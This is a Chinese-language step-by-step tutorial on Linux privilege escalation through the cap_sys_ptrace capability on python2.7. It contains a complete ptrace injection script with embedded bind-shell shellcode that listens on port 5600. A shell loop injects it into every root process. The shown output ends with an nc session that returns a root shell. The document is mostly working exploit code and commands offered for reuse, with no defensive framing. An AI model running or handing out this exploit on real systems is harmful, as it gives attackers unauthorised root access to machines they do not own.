当python具备cap_sys_ptrace+ep 能力时，可以用来进行提权。提权原理见：https://blog.pentesteracademy.com/privilege-escalation-by-abusing-sys-ptrace-linux-capability-f6e6ad2a59cc
1、查看python是否具备该能力
getcap -r / 2>/dev/null |grep python
显示：/usr/bin/python2.7 = cap_sys_ptrace+ep
2、准备提权脚本，该脚本如果执行成功，会在本地监听5600端口，也可以修改shellcode部分监听其他端口，脚本来自：https://gist.githubusercontent.com/wifisecguy/1d69839fe855c36a1dbecca66948ad56/raw/e919439010bbabed769d86303ff18ffbacdaecfd/inject.py
# inject.py
# The C program provided at the GitHub Link given below can be used as a reference for writing the python script. # GitHub Link: https://github.com/0x00pf/0x00sec_code/blob/master/mem_inject/infect.c import ctypes import sys import struct # Macros defined in <sys/ptrace.h> # https://code.woboq.org/qt5/include/sys/ptrace.h.html PTRACE_POKETEXT = 4 PTRACE_GETREGS = 12 PTRACE_SETREGS = 13 PTRACE_ATTACH = 16 PTRACE_DETACH = 17 # Structure defined in <sys/user.h> # https://code.woboq.org/qt5/include/sys/user.h.html#user_regs_struct class user_regs_struct(ctypes.Structure): _fields_ = [ ("r15", ctypes.c_ulonglong), ("r14", ctypes.c_ulonglong), ("r13", ctypes.c_ulonglong), ("r12", ctypes.c_ulonglong), ("rbp", ctypes.c_ulonglong), ("rbx", ctypes.c_ulonglong), ("r11", ctypes.c_ulonglong), ("r10", ctypes.c_ulonglong), ("r9", ctypes.c_ulonglong), ("r8", ctypes.c_ulonglong), ("rax", ctypes.c_ulonglong), ("rcx", ctypes.c_ulonglong), ("rdx", ctypes.c_ulonglong), ("rsi", ctypes.c_ulonglong), ("rdi", ctypes.c_ulonglong), ("orig_rax", ctypes.c_ulonglong), ("rip", ctypes.c_ulonglong), ("cs", ctypes.c_ulonglong), ("eflags", ctypes.c_ulonglong), ("rsp", ctypes.c_ulonglong), ("ss", ctypes.c_ulonglong), ("fs_base", ctypes.c_ulonglong), ("gs_base", ctypes.c_ulonglong), ("ds", ctypes.c_ulonglong), ("es", ctypes.c_ulonglong), ("fs", ctypes.c_ulonglong), ("gs", ctypes.c_ulonglong), ] libc = ctypes.CDLL("libc.so.6") pid=int(sys.argv[1]) # Define argument type and respone type. libc.ptrace.argtypes = [ctypes.c_uint64, ctypes.c_uint64, ctypes.c_void_p, ctypes.c_void_p] libc.ptrace.restype = ctypes.c_uint64 # Attach to the process libc.ptrace(PTRACE_ATTACH, pid, None, None) registers=user_regs_struct() # Retrieve the value stored in registers libc.ptrace(PTRACE_GETREGS, pid, None, ctypes.byref(registers)) print("Instruction Pointer: " + hex(registers.rip)) print("Injecting Shellcode at: " + hex(registers.rip)) # Shell code copied from exploit db. shellcode="\x48\x31\xc0\x48\x31\xd2\x48\x31\xf6\xff\xc6\x6a\x29\x58\x6a\x02\x5f\x0f\x05\x48\x97\x6a\x02\x66\xc7\x44\x24\x02\x15\xe0\x54\x5e\x52\x6a\x31\x58\x6a\x10\x5a\x0f\x05\x5e\x6a\x32\x58\x0f\x05\x6a\x2b\x58\x0f\x05\x48\x97\x6a\x03\x5e\xff\xce\xb0\x21\x0f\x05\x75\xf8\xf7\xe6\x52\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x8d\x3c\x24\xb0\x3b\x0f\x05" # Inject the shellcode into the running process byte by byte. for i in xrange(0,len(shellcode),4): # Convert the byte to little endian. shellcode_byte_int=int(shellcode[i:4+i].encode(‘hex‘),16) shellcode_byte_little_endian=struct.pack("<I", shellcode_byte_int).rstrip(‘\x00‘).encode(‘hex‘) shellcode_byte=int(shellcode_byte_little_endian,16) # Inject the byte. libc.ptrace(PTRACE_POKETEXT, pid, ctypes.c_void_p(registers.rip+i),shellcode_byte) print("Shellcode Injected!!") # Modify the instuction pointer registers.rip=registers.rip+2 # Set the registers libc.ptrace(PTRACE_SETREGS, pid, None, ctypes.byref(registers)) print("Final Instruction Pointer: " + hex(registers.rip)) # Detach from the process. libc.ptrace(PTRACE_DETACH, pid, None, None)
3、因为需要找root进程进行注入，所以简单写个脚本对root进程进行批量尝试
for i in `ps -ef|grep root|grep -v "grep"|awk ‘{print $2}‘`; do python2.7 inject.py $i; done
4、本地执行成功后，通过netstat可以看到开启监听了5600端口，通过nc连接后即可执行命令
test@test:~$ netstat -tunpla |grep 5600 netstat -tunpla |grep 5600 (Not all processes could be identified, non-owned process info will not be shown, you would have to be root to see it all.) tcp 0 0 0.0.0.0:5600 0.0.0.0:* LISTEN - test@test:~$ nc 0.0.0.0 5600 nc 0.0.0.0 5600 id id uid=0(root) gid=0(root) groups=0(root)